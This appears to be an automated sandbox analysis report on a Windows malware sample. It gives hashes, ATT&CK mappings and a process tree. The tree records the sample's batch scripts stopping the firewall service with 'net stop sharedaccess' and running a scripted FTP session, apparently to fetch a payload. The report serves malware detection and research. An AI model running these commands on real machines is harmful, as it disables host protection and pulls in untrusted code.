77722664a92042f699f0a7a8de15a0c553ecaa152d3099bf33a7beb3d4790602

Analysis

max time kernel
124s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2024, 11:30

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General

Target

fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe
Size

33KB
MD5

fa33c5fd62cb1a2f3077dceea84f441e
SHA1

419891ae4bff67b7c321e0d1b650926525c3c122
SHA256

77722664a92042f699f0a7a8de15a0c553ecaa152d3099bf33a7beb3d4790602
SHA512

cd176079d506cac51a619033e419a13bc83a8122319338b6cb895ee3157eae17d238812f35acaa58a074ed6e360ee0197fa1b6228d0081d2cfaf1772df8c2af4
SSDEEP

768:6lz/yURinnljkQHMBQig88QE2vjKpCgJ6Xp6s/wJJn5Pu:izj4loW/INYCgJc0JJo

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 3244	2364	fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe	92
PID 2364 wrote to memory of 3244	2364	fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe	92
PID 2364 wrote to memory of 3244	2364	fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe	92
PID 3244 wrote to memory of 4992	3244	cmd.exe	96
PID 3244 wrote to memory of 4992	3244	cmd.exe	96
PID 3244 wrote to memory of 4992	3244	cmd.exe	96
PID 4992 wrote to memory of 2176	4992	cmd.exe	98
PID 4992 wrote to memory of 2176	4992	cmd.exe	98
PID 4992 wrote to memory of 2176	4992	cmd.exe	98
PID 2176 wrote to memory of 3756	2176	net.exe	100
PID 2176 wrote to memory of 3756	2176	net.exe	100
PID 2176 wrote to memory of 3756	2176	net.exe	100
PID 4992 wrote to memory of 1168	4992	cmd.exe	101
PID 4992 wrote to memory of 1168	4992	cmd.exe	101
PID 4992 wrote to memory of 1168	4992	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\fa33c5fd62cb1a2f3077dceea84f441e_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\dt.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K c:\windows\temp\r.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\SysWOW64\net.exe
      net stop sharedaccess
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2176
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop sharedaccess
        5⤵
        
        PID:3756
  - - C:\Windows\SysWOW64\ftp.exe
      ftp -s:c:\windows\temp\f.txt
      4⤵
      PID:1168

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3936,i,10943981808815347339,15838841970612097850,262144 --variations-seed-version --mojo-platform-channel-handle=3960 /prefetch:8
1⤵
PID:3592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\dt.bat

Filesize
1KB

MD5
676afdfa824e13b72aecaf6d0d65fa6c

SHA1
f5e918c9fe29a9b432be38b812a6087f4a49bff2

SHA256
896520460c090bcacba8cf6f633abf2e4c6e01c8284737b60b1f51063246e72a

SHA512
4ac34dd1eb77862206dc608c9b57e2956857407b7c5eced45c20b6577e2d53755254fd38300a2b7d02624c37a652ade86add230cd33c452bec380688f414f633

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C:\Windows\Temp\f.txt

Filesize
76B

MD5
e492c90155bb26e6c57c202780f35093

SHA1
83d3d0a8af4fbcd3b70a22611578ef5b5966fcb9

SHA256
ff07e608a348217c1306a1ff202f9b91fddf104b9367c4ee911bccefe04edb94

SHA512
b3265b4f58966441813a0da9032d68e061dcbe6213f82b10f83addafe93627d66637105b443534fac8e074340ff50e07e14437309ad88befc774d2daf5286259

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\??\c:\windows\temp\r.bat

Filesize
164B

MD5
f22ad73544c4463a4fe267ed2c646a20

SHA1
9faba5662a5f43fad4df2182fb3c45199cd316c8

SHA256
188e171e17dad12fa1b8067a8b86bc113c0f9df9d9ef03e89006f9c3f7c51c98

SHA512
2c52ceee850adbb90863452815d60596931c485c921ef1a7c3ed8d0de028cbbfc561d62e25beb63410e867da63ebfef6c7cf0f2d1cb75fe13e566731f4df2abd

Download Submit